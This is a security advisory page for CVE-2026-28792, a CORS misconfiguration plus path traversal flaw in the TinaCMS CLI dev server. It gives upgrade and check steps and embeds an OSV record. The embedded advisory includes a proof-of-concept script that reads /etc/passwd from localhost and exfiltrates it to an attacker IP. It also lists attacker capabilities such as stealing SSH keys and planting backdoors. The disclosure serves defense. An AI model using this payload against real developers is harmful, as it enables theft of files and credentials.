CVE-2026-28792: @tinacms/cli Path Traversal Vulnerability
CRITICALCVE-2026-28792 is a CRITICAL (CVSS 9.6) path traversal vulnerability (CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains) affecting @tinacms/cli libraries in the npm ecosystem. The issue involves tinacms cli dev server vulnerable to cross-origin file exfiltration via cors misconfiguration + path traversal in tinacms. Remediation is available by upgrading affected packages to version 2.1.8.
CVE-2026-28792 at a Glance
Security Impact
CVSS: 9.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-28792
To remediate this vulnerability, upgrade all affected @tinacms/cli dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @tinacms/cli@2.1.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @tinacms/cli
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-28792, inspect your project dependencies using npm:
npm ls @tinacms/cli
Analyze the terminal output to locate any version of @tinacms/cli in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.8), your application is affected.
Note: The npm ls @tinacms/cli command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains, where the product uses a web-client protection mechanism such as a content security policy (csp) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. In @tinacms/cli, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-28792 Affected @tinacms/cli Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@tinacms/cli
|
npm |
< 2.1.8
|
2.1.8
|
References
Frequently Asked Questions
What is CVE-2026-28792?
Which @tinacms/cli versions are affected?
What version fixes CVE-2026-28792?
Is @tinacms/cli affected?
What is the CVSS score of CVE-2026-28792?
What CWE is associated with CVE-2026-28792?
How can I check npm dependencies for CVE-2026-28792?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8pw3-9m7f-q734",
"modified" : "2026-03-12T20:32:09Z",
"published" : "2026-03-12T20:32:09Z",
"aliases" : [ "CVE-2026-28792" ],
"summary" : "TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS",
"details" : "## Summary\nThe TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.\n\n## Details\nThe TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:\n\n- packages/@tinacms/cli/src/server/server.ts:\n```\n app.use(cors());\n```\n\n- packages/@tinacms/cli/src/next/vite/plugins.ts:\n```\n server.middlewares.use(cors());\n```\nWhen combined with the path traversal vulnerability, this creates a complete attack chain.\n## Attack Scenario\n\n### Prerequisites\n1. Developer runs `tinacms dev` (default port 4001) \n2. Developer visits attacker's website while TinaCMS is running\n\n**No other conditions required** - the dev server doesn't need to be:\n- Exposed to the internet\n- Bound to 0.0.0.0\n- Accessible outside localhost\n\n### Attack Flow\n1. Developer starts TinaCMS: `tinacms dev`\n2. Developer browses the web (checking email, social media, etc.)\n3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)\n4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files\n5. Files are exfiltrated to attacker's server\n\n## PoC\n### Attacker's Malicious Website (evil.html):\n```\n<script>\nfetch('http://localhost:4001/../../../etc/passwd')\n .then(r => r.text())\n .then(data => {\n // Exfil via GET\n const img = new Image();\n img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);\n });\n</script>\n```\n### Demonstration\n\n**Step 1:** Start TinaCMS dev server\n```bash\ntinacms dev\n# Server running on http://localhost:4001\n```\n\n**Step 2:** Host evil.html on attacker server\n```bash\npython3 -m http.server 8000\n```\n\n**Step 3:** Developer visits `http://attacker-server:8000/evil.html`\n\n**Result:** The browser makes cross-origin requests to localhost:4001.\nBecause cors() returns Access-Control-Allow-Origin: *, the browser\nallows the JavaScript to read the responses. Directory listings from\noutside the media directory are sent to the attacker's server.\n<img width=\"1900\" height=\"366\" alt=\"image\" src=\"https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617\" />\n\n\n## Impact\n### Who is affected\nEvery developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.\n\n### What an attacker achieves\nBy hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:\n\n1. **Enumerate the developer's filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names\n across the entire filesystem\n2. **Discover sensitive files** locate `.env`, `.git/config`, SSH keys, cloud credentials, database configs\n3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts\n4. **Delete arbitrary files** via `/media/` DELETE with path traversal",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@tinacms/cli"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.1.8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-8pw3-9m7f-q734"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28792"
}, {
"type" : "WEB",
"url" : "https://github.com/tinacms/tinacms/pull/6450"
}, {
"type" : "WEB",
"url" : "https://github.com/tinacms/tinacms/commit/56d533e610a520ba66b3e58f3a0dc03487d5d5d7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/tinacms/tinacms"
}, {
"type" : "WEB",
"url" : "https://github.com/tinacms/tinacms/releases/tag/%40tinacms%2Fcli%402.1.8"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-942" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-12T20:32:09Z",
"nvd_published_at" : "2026-03-12T17:16:50Z"
}
}